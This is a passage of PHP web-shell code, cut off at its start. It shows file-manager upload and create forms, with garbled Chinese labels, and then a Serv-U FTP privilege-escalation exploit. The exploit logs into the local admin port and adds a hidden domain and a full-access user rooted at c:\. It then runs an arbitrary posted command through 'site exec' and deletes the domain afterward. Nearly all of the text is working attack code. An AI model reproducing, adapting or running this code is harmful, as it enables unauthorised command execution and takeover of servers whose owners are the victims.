headerform(array('method'=>'GET','content'=>'·: '.$pathname.'
ǰĿ¼('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
תĿ¼: '.$tb->makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','ȷ','','submit').' ֧־··'));
$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'ϴļǰĿ¼: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','ȷ','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));
$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'½ļڵǰĿ¼: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','ȷ','','submit')));
$tb->headerform(array('content'=>'½Ŀ¼ڵǰĿ¼: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','ȷ','','submit')));
?>
";
$sendbuf = "";
$recvbuf = "";
$domain = "-SETDOMAIN\r\n".
"-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n".
"-TZOEnable=0\r\n".
" TZOKey=\r\n";
$adduser = "-SETUSERSETUP\r\n".
"-IP=0.0.0.0\r\n".
"-PortNo=21\r\n".
"-User=".$user."\r\n".
"-Password=".$password."\r\n".
"-HomeDir=c:\\\r\n".
"-LoginMesFile=\r\n".
"-Disable=0\r\n".
"-RelPaths=1\r\n".
"-NeedSecure=0\r\n".
"-HideHidden=0\r\n".
"-AlwaysAllowLogin=0\r\n".
"-ChangePassword=0\r\n".
"-QuotaEnable=0\r\n".
"-MaxUsersLoginPerIP=-1\r\n".
"-SpeedLimitUp=0\r\n".
"-SpeedLimitDown=0\r\n".
"-MaxNrUsers=-1\r\n".
"-IdleTimeOut=600\r\n".
"-SessionTimeOut=-1\r\n".
"-Expire=0\r\n".
"-RatioUp=1\r\n".
"-RatioDown=1\r\n".
"-RatiosCredit=0\r\n".
"-QuotaCurrent=0\r\n".
"-QuotaMaximum=0\r\n".
"-Maintenance=None\r\n".
"-PasswordType=Regular\r\n".
"-Ratios=None\r\n".
" Access=".$part."\|RWAMELCDP\r\n";
$deldomain="-DELETEDOMAIN\r\n".
"-IP=0.0.0.0\r\n".
" PortNo=21\r\n";
$sock = fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10);
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
$sendbuf = "USER ".$_POST["SUUser"]."\r\n";
fputs($sock, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
$sendbuf = "PASS ".$_POST["SUPass"]."\r\n";
fputs($sock, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
$sendbuf = "SITE MAINTENANCE\r\n";
fputs($sock, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
$sendbuf = $domain;
fputs($sock, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
$sendbuf = $adduser;
fputs($sock, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
echo "**********************************************************
";
if($job!=="adduser"){//費ǽû
echo "Starting Exploit ...
";
echo "**********************************************************
";
$exp = fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10);
$recvbuf = fgets($exp, 1024);
echo "Recv: $recvbuf
";
$sendbuf = "USER ".$user."\r\n";
fputs($exp, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($exp, 1024);
echo "Recv: $recvbuf
";
$sendbuf = "PASS ".$password."\r\n";
fputs($exp, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($exp, 1024);
echo "Recv: $recvbuf
";
$sendbuf = "site exec ".$_POST["SUCommand"]."\r\n";
fputs($exp, $sendbuf, strlen($sendbuf));
echo "Send: site exec ".$_POST["SUCommand"]."
";
$recvbuf = fgets($exp, 1024);
echo "Recv: $recvbuf
";
echo "**********************************************************
";
echo "Starting Delete Domain ...
";
echo "**********************************************************
";
$sendbuf = $deldomain;
fputs($sock, $sendbuf, strlen($sendbuf));
echo "Send: $sendbuf
";
$recvbuf = fgets($sock, 1024);
echo "Recv: $recvbuf
";
}else{
echo "All done ...
";
echo "**********************************************************
";
}
echo " |
";
fclose($sock);
if($job!=="adduser") fclose($exp);
}
?>